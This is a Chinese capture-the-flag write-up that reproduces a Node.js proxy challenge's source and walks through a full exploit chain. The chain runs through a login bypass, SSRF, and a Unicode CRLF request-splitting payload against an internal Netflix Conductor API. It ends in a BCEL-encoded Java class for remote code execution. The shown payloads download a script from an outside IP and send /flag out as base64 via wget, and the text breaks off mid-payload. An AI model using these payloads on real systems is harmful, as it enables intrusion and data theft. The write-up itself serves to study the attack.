const express = require('express') const router = express.Router() const axios = require('axios') const isIp = require('is-ip') const IP = require('ip') const UrlParse = require('url-parse') const {sha256, hint} = require('./utils') const salt = 'nooooooooodejssssssssss8_issssss_beeeeest' const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) //hash加盐加密 const port = process.env.PORT || 3000 //表示监听端口 function formatResopnse(response) { if(typeof(response) !== typeof('')) { return JSON.stringify(response) // stringify 将 JavaScript 值转换为 JSON 字符串。 } else { return response } } function SSRF_WAF(url) { const host = new UrlParse(url).hostname.replace(/\[|\]/g, '') ///全局删除“[”,“]” return isIp(host) && IP.isPublic(host) //isPublic就能看出来是公网还是内网了 } function FLAG_WAF(url) { const pathname = new UrlParse(url).pathname //提取一部分路径 return !pathname.startsWith('/flag') //判断是否路径开始为/flag } function OTHER_WAF(url) { return true; } const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF] router.get('/', (req, res, next) => { if(req.session.admin === undefined || req.session.admin === null) { res.redirect('/login') } else { res.redirect('/index') } }) router.get('/login', (req, res, next) => { const {username, password} = req.query; if(!username || !password || username === password || username.length === password.length || username === 'admin') { res.render('login') //没有绕过就回到login页面 } else { const hash = sha256(sha256(salt + username) + sha256(salt + password)) req.session.admin = hash === adminHash //用户名和密码的加密,验证成功你就是管理员的session //如果hash===adminHash,则session.admin被赋值。(运算符优先级) res.redirect('/index') } }) router.get('/index', (req, res, next) => { if(req.session.admin === undefined || req.session.admin === null) { res.redirect('/login') //session验证 } else { res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())}) } }) router.get('/proxy', async(req, res, next) => { if(!req.session.admin) { return res.redirect('/index') } //session.admin验证通过后才可以访问proxy const url = decodeURI(req.query.url); console.log(url) const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) if(!status) { //waf验证 res.render('base', {title: 'WAF', content: "Here is the waf..."}) } else { try { const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`) //开始进入啦 res.render('base', response.data) } catch(error) { res.render('base', error.message) } } }) router.post('/proxy', async(req, res, next) => { //发送post方法 if(!req.session.admin) { return res.redirect('/index') //再验证session } // test url // not implemented here const url = "https://postman-echo.com/post" await axios.post(`http://127.0.0.1:${port}/search?url=${url}`) res.render('base', "Something needs to be implemented") }) router.all('/search', async (req, res, next) => { if(!/127\.0\.0\.1/.test(req.ip)){ return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'}) }//这里标明要利用/proxy const result = {title: 'Search Success', content: ''} const method = req.method.toLowerCase() const url = decodeURI(req.query.url) const data = req.body //请求数据 try {//判断请求方法 if(method == 'get') { const response = await axios.get(url) result.content = formatResopnse(response.data) } else if(method == 'post') { const response = await axios.post(url, data) result.content = formatResopnse(response.data) } else { result.title = 'Error' result.content = 'Unsupported Method' } } catch(error) { result.title = 'Error' result.content = error.message } return res.json(result) }) router.get('/source', (req, res, next)=>{ res.sendFile( __dirname + "/" + "index.js"); }) //返回当前页面的js代码 router.get('/flag', (req, res, next) => { if(!/127\.0\.0\.1/.test(req.ip)){ //test方法判断127 return res.send({title: 'Error', content: 'No Flag For You!'}) } return res.json({hint: hint}) }) module.exports = router
跟着别人的wp,再查资料,自己加了些注释,勉强看懂了代码。
那么首先要绕过用户名的监测拿到session.admin来绕过大多数的waf
//当数组(其中元素是字符串)与字符串拼接时,会返回字符串,所以
'iam' + ['admin'] = iamadmin
//题目中会用username和password拼接进行sha256加密,所以将username变成username[],同样得到正确
测试了一下请求
(好耶,浏览量+1)
上面已经提到过代码中设置的监听端口
const port = process.env.PORT || 3000
那就用访问 http://0.0.0.0:3000
在服务器中,0.0.0.0指的是本机上的所有IPV4地址,如果一个主机有两个IP地址,192.168.1.1 和 10.1.2.1,并且该主机上的一个服务监听的地址是0.0.0.0,那么通过两个ip地址都能够访问该服务。
访问/flag页面,得到hint
因为FLAG_WAF方法中对proxy请求的路径中,如果以/flag开头,则会被挡住。
所以 0.0.0.0/flag是不可行的
但是却没有对search?url=${url}后的参数进行监测
那就可以http://0.0.0.0:3000/search?url=$ip:3000/flag
又且test方法要求以127.0.0.1访问url,那就构造
http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag
Netflix Conductor初认识
上面已经得到hint:有Netflix Conductor服务
本菜鸡表示不知道这是啥玩意。。。
Netflix Conductor:一个微服务编排工具
(自己理解的)
微服务又是啥?我觉得类似就是把整坨缠绕的服务分开成单个小服务,再用api连接起来,牺牲接口的简易度换来单个小服务的复杂性降低,单个小服务的更新速度和复杂度降低。
tips:通过分布式和微服务架构的异同可以更好的了解
微服务编排工具:上面已经提到,各个微服务的连接和协作的难易度被提高了,但用户仍然只需要一个便于操作的“总服务”,所以就需要把这些微服务编排起来,如何并联或串联。这种理念被实体化就是微服务编排工具。
我去翻了翻官方文档,感觉并非像大多数wp中所描述的
网上找到它的端口在 8080,那么先来探测一下内网,找一下哪台机器是那个服务器
而是其在8080端口存在Swagger APIs管理工具(图中有官方文档链接)
而Netflix Conductor所在的ip,根据Netflix Conductor的官方
Start UI Server
The UI Server is in the directory conductor/ui.
To run it, you need Node.js installed and gulp installed with npm i -g gulp.
In a terminal other than the one running the Conductor server:
cd ui
npm i
gulp watchIf you get an error message ReferenceError: primordials is not defined, you need to use an earlier version of Node (pre-12). See this issue for more details.
Or Start all the services using docker-compose
cd docker
docker-compose upIf you ran it locally, launch UI at http://localhost:3000/ OR if you ran it using docker-compose launch the UI at http://localhost:5000/
使用docker容器的话得到两个信息:
我是在buu上复现的,直接在admin登陆界面给了几个ip
{"lo":[{"address":"127.0.0.1","netmask":"255.0.0.0","family":"IPv4","mac":"00:00:00:00:00:00","internal":true,"cidr":"127.0.0.1/8"}],"eth0":[{"address":"10.0.218.9","netmask":"255.255.255.0","family":"IPv4","mac":"02:42:0a:00:da:09","internal":false,"cidr":"10.0.218.9/24"}],"eth1":[{"address":"10.128.0.219","netmask":"255.255.0.0","family":"IPv4","mac":"52:54:00:9b:70:fe","internal":false,"cidr":"10.128.0.219/16"}]}
这里的ip不是盲目扫出来的,根据CIDR(无类域间路由)的计算划定测试范围(都是8的倍数,挺好算的)
得到版本信息:
{"title":"Search Success","content":"{\"jetty.git.hash\":\"b1e6b55512e008f7fbdf1cbea4ff8a6446d1073b\",\"loadSample\":\"true\",\"io.netty.noUnsafe\":\"true\",\"conductor.jetty.server.enabled\":\"true\",\"io.netty.noKeySetOptimization\":\"true\",\"buildDate\":\"2021-04-03_17:38:09\",\"io.netty.recycler.maxCapacityPerThread\":\"0\",\"conductor.grpc.server.enabled\":\"false\",\"version\":\"2.26.0-SNAPSHOT\",\"queues.dynomite.nonQuorum.port\":\"22122\",\"workflow.elasticsearch.url\":\"es:9300\",\"workflow.namespace.queue.prefix\":\"conductor_queues\",\"user.timezone\":\"GMT\",\"workflow.dynomite.cluster.name\":\"dyno1\",\"sun.nio.ch.bugLevel\":\"\",\"workflow.dynomite.cluster.hosts\":\"dyno1:8102:us-east-1c\",\"workflow.elasticsearch.instanceType\":\"external\",\"db\":\"dynomite\",\"queues.dynomite.threads\":\"10\",\"workflow.namespace.prefix\":\"conductor\",\"workflow.elasticsearch.index.name\":\"conductor\"}"}
准备Evil.java并编码
public class Evil { public Evil() { try { Runtime.getRuntime().exec("wget http://159.75.72.126:9998/1.txt -O /tmp/hfctf"); //Runtime.getRuntime().exec("sh /tmp/hfctf"); } catch (Exception ex) { ex.printStackTrace(); } } public static void main(final String[] array) { } }
继续
javac Evil.java //获取编码工具,但是它下载下来还只是java文件,要打包 git clone https://github.com/f1tz/BCELCodeman.git //下面打包 cd BCELCodeman/src javac Main.java jar -cvfm BCELCodeman.jar ../META-INF/MANIFEST.MF Main.class //注意要回到Evil.class目录 java -jar BCELCodeman/src/BCELCodeman.jar e Evil.class //我编码得到的如下: ‘’‘ $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A ’‘’
构造json
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
记得hgame里面有一题类似绕过中间件的请求走私,感觉差不多
我的靶机的内网ip:10.0.26.14:8080
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]' //post_payload中BCEL编码部分注意换成自己编码得到的内容 console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.26.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private')))) //url后的ip注意换成自己打的靶机的内网ip,其他可以全copy //运行得到payload2 //http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.26.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1506%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQK3$DA$Q$fef$T$d9X$h$89GB$3c$83$83$a0$ecVR$5eA$b9$uN$f1$uQ$i$5cl$d6$88$n$d9l$ad$J$f9G$ce$$$u$H$3f$c0$8fB$cf$aa$SULU$f7L$7f$fd$f5$d7$3d3$ef$l$afo$A$960c$m$8eA$Did$e2$YR$fb$b0$8e$ac$81$$$8c$e8$Y$d51$c6$Q$db$U$9e$90$5b$M$91$fc$dc$JCt$bby$c1$Z$92e$e1$f1$fdV$a3$ca$83c$a7Z$t$qQ$91$8e$7b$b3$e7$f8a$iVg$89$dep$84$c7$90$c9$9f$95$af$9d$3b$c7$ae$3b$5e$cd$ae$c8$40x$b5$N$rgT$9a$ad$c0$e5$bbBIt$ef$dc$89$ba$a5x$s$baa$e8$Y71$81I$86$e2$7d$8d$cb$dc$95$94$fe$bam$X$96K$d6$ea$b2$b5Z$b4$K$c5$95$f5R$a9$b4f$X$y$d9$96$b9$c5$83$9c$z$h$be$7du$e9$caK$T9L1$Mt$ba$ee$b4$5d$eeK$d1$f4LL$c3$a0$d1T7$86T$87qP$bd$e6$aed$e8$eb$40G$zO$8a$G$cdf$d0$E$3fA$3a$3fW$fe$c3$d9$mI$de$e6$$$c3l$fe$9f$cb$fe$82$O$83$a6$cboo$a9$m$e9SR$86$_w$i8$$$c7$Ut$fa$R$b540$f5$I$e4$7b$u$3a$a7X$a3$3d3$ff$M$f6$C$ad$3f$f2$84$e8$e9$D$e2$e5$85$t$c4$k$89$VE$C$v$fa8$N$s$f1F$Q$p$l$n$b4$8bp$832q$f4$91$5e$9a$d4$S$94IA$fb$q$c7t$f4$w$97$8cR$$E$8c$efnY2$a6$ec1$3c$u$c1X$I$Q$Z$fd$e1p$D_s$8a$n$ecD$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
1.txt(服务器将命令通过wget方法回传)
#!/bin/sh
wget http://159.75.72.126:9998/?hfctf=`cat /flag|base64`
python3 -m http.server 9998
可以看到http已经有反应了
public class Evil { public Evil() { try { //Runtime.getRuntime().exec("wget http://159.75.72.126:9998/1.txt -O /tmp/hfctf"); Runtime.getRuntime().exec("sh /tmp/hfctf"); } catch (Exception ex) { ex.printStackTrace(); } } public static void main(final String[] array) { } }
javac Evil.java //利用已经打包好的工具 java -jar BCELCodeman-main/src/BCELCodeman.jar e Evil.class //得到编码: //$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]' //post_payload中BCEL编码部分注意换成自己编码得到的内容 console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.26.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private')))) //url后的ip注意换成自己打的靶机的内网ip,其他可以全copy //运行得到payload3 //http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.26.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1427%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$Ul$a1$W$v$m$u$f8$H$ba$Q4$91$8d$3b$8c$h$a3$x$fc$89$Q$5d$b8$b1$d4$B$G$a1$902$Q$de$c85$h4$$$7c$A$lJ$bdS$T1$d1I$e6N$ef$b9g$be$3b3$7d$ffx$7d$Dp$88$j$T$R$y$9bH$p$T$c1$8aZW$NdM$y$mg$60$cd$c0$3a$83$7e$q$3c$n$8f$ZB$c5$d2$NC$f8$a4$ff$c0$Z$e2U$e1$f1$8bQ$af$c1$fd$ba$d3$e8$92$S$abI$c7$7d$3cw$GA$k$ec$ce$92$bd$e7$I$8f$nS$bc$abv$9c$b1S$ee$3a$5e$ab$5c$93$be$f0Z$V$853k$fd$91$ef$f23$a1$Q$d1$d3$b1$e8$k$u$9f$85$uL$D$h$W6$b1E$eca$3b_$96$bdA$b9$ddte$d3B$k$F$86$d4$ix$3aq$f9$40$8a$bega$h$suU$m$G$7b$ee$b8lt$b8$x$Z$Ss$e9z$e4I$d1$a3$b6f$8b$cb$9f$q$5d$yU$ffx$w$84$e4$T$ee2$ec$W$ff$b9$c7$_$e9$ca$ef$bb$7c8$a4$N$f1$B$Ve$f0$uu$dfq9$K0$e8$b1$d5$d0$c0$d4$fd$u$$RvO$b9Fkf$ef$Z$ec$FZ24C$f8$f6$J$91$ea$fe$M$fa$94$5ca$c4$60$d3$3f$d1$60$91$_$H$9db$88T$9dt$93$w$R$q$88$97$sZ$8c$w6$b4O$K$cc$c0$92$K$f10$d5lr$7cw$cb$d2djN$83$P$F$d4$D$81$ccH$G$87K$7d$B$86w$A$dd$l$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email 